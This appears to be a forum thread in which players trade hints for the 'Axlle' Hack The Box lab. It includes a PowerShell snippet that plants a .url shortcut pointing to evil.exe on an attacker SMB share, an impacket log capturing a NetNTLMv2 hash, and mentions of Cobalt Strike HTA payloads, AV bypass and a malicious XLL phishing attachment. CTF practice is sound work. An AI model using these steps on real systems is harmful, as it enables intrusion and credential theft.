[sk_Dutta]

anyone have a tip on how to move on from gideon after finding the hmail creds?

Didn't use those creds. But there is a hint in an email in the Data folder.
Something like this worked for me

$url = "file:////10.10.x.x/share/evil.exe"
$shortcutPath = "C:\inetpub\testing\shortcut.url"
$shortcutContent = "[InternetShortcut]`r`nURL=$url"
Set-Content -Path $shortcutPath -Value $shortcutContent

Bro i am not able to find the mail you are talking about if i got to C:\Program Files (x86)\hMailserver\Data i can only see axlle.htb

please help me with it

[Liy4]

any hint for get in to dallon.matrix

[cavour13]

guys i got connection in my smb server ! but why it' not working? i tried with hta mechanism and .exe

[M4nasCieL]

guys, what's next into this?

└─$ impacket-smbserver -smb2support share payload.exe
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*]Config file parsed
[*]Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*]Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*]Config file parsed
[*]Config file parsed
[*]Config file parsed
[*]Incoming connection (10.10.11.21,57530)
[*]AUTHENTICATE_MESSAGE (AXLLE\dallon.matrix,MAINFRAME)
[*]User MAINFRAME\dallon.matrix authenticated successfully
[*]dallon.matrix::AXLLE:aaaaaaaaaaaaaaaa:89f39b5206bd7ce35f3f770276f38154:0101000000000000009f44470ec7da019503d71358dd182900000000010010007600670063007400480075005700650003001000760067006300740048007500570065000200100071004100550058007300640075007100040010007100410055005800730064007500710007000800009f44470ec7da0106000400020000000800300030000000000000000100000000200000e5df1b9451dc6a477af353b3d1c466fa0ed5bed61ec2e6dd6f5a82a4fa120ffe0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00330038000000000000000000
[*]Connecting Share(1:IPC$)
[*]Connecting Share(2hare)
[*]NetrGetShareInfo Level: 1
[*]Disconnecting Share(1:IPC$)
[*]Disconnecting Share(2hare)
[*]Closing down connection (10.10.11.21,57530)
[*]Remaining connections []


[*]
im stuck at user privilege

[mazafaka555]

guys i got connection in my smb server ! but why it' not working? i tried with hta mechanism and .exe

i served HTA payload from Cobalt Strike (HTML attack) via smb & it went smoothly as a charm... don't know if AV is even acting on the box. Anyway, my Arsenal Kit bypasses all of it

[macavitysworld]

guys i got connection in my smb server ! but why it' not working? i tried with hta mechanism and .exe

i served HTA payload from Cobalt Strike (HTML attack) via smb & it went smoothly as a charm... don't know if AV is even acting on the box. Anyway, my Arsenal Kit bypasses all of it

there is no AV!

[0xarjun]

i get the password of mssql how to log in the database

How you got the mssql passwd

[DoesntMatter123456]

Can someone please share administrator Hash to open up this write-up:
https://4xura.com/ctf/htb-writeup-axlle/

[mycatdante]

Use --attach @Shell.xll it will work

this is honestly the biggest thing about the entire machine

i wasted so much time with improper attach arguments

honestly probably couldve blooded it otherwise but im a dumbass so oh well

once you get past that its just standard ctf bullshit

I found out that's because of the issue of the XLL file. Even though it works locally in some cases. 
But it was attached with the local library (2010 Excel SDK), even we did some configuration link to 2013 SDK.
After some reconfiguration it will just become fine to be the completely 64-bit XLL file which is able to be run on the remote machine

[M4nasCieL]

guys how to get out of axlle\gideon.hamill plss i really appreciate that